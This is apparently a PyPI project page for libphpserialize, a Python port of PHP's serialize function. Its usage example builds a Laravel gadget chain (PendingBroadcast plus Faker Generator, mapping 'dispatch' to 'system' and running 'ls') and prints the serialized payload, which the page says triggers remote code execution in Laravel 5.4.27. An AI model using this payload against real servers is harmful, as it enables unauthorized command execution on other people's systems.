Skip to main content

A port of PHP's serialize function, in pure python

Project description

libphpserialize

A port of PHP's serialize function, in pure python

Features

  • serialize objects directly from python objects
  • nested objects
  • namespacing
  • variable Access Modifiers (public, private, protected)

Example

from phpserialize import serialize
from phpserialize.decorators import namespace
import requests


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
    protected_event = 'ls'
    protected_events = Generator()


print(serialize(PendingBroadcast()))

with above code, you'll get:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}

which triggers an RCE vulnerability in Laravel 5.4.27

nice when you're writing an exploit script for others to read

Important:

  • the code is written and tested under python 3.7+
  • decimal serialization doesn't work the same as PHP does, yet

TODO

  • recursive objects support
  • reimplement decimal precision calculating algorithm from php engine

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libphpserialize-0.0.2.tar.gz (3.9 kB view details)

Uploaded Source

Built Distribution

libphpserialize-0.0.2-py3-none-any.whl (4.7 kB view details)

Uploaded Python 3

File details

Details for the file libphpserialize-0.0.2.tar.gz.

File metadata

  • Download URL: libphpserialize-0.0.2.tar.gz
  • Upload date:
  • Size: 3.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.2.tar.gz
Algorithm Hash digest
SHA256 477893811b745bbd6c5ace9b4dad88e6fdb18c4e2453fdff5a93bbdf2c6afac2
MD5 30a3ff9d46c0321fb6572d0cfd306479
BLAKE2b-256 0a2f7ecb8754880b36288ff5515b0879fdca37adb027f77fbea5e9209b683073

See more details on using hashes here.

File details

Details for the file libphpserialize-0.0.2-py3-none-any.whl.

File metadata

  • Download URL: libphpserialize-0.0.2-py3-none-any.whl
  • Upload date:
  • Size: 4.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.2-py3-none-any.whl
Algorithm Hash digest
SHA256 c583cd07acb858506865552a8d9224e0c080f8cbecd214a7469ee29d6cddd9e5
MD5 c242a1ffd0df848c81408dfb32af02ef
BLAKE2b-256 5fb78d082fc984b04525287d4aaaca7808ac93a03054a405bfbce83b59981c76

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page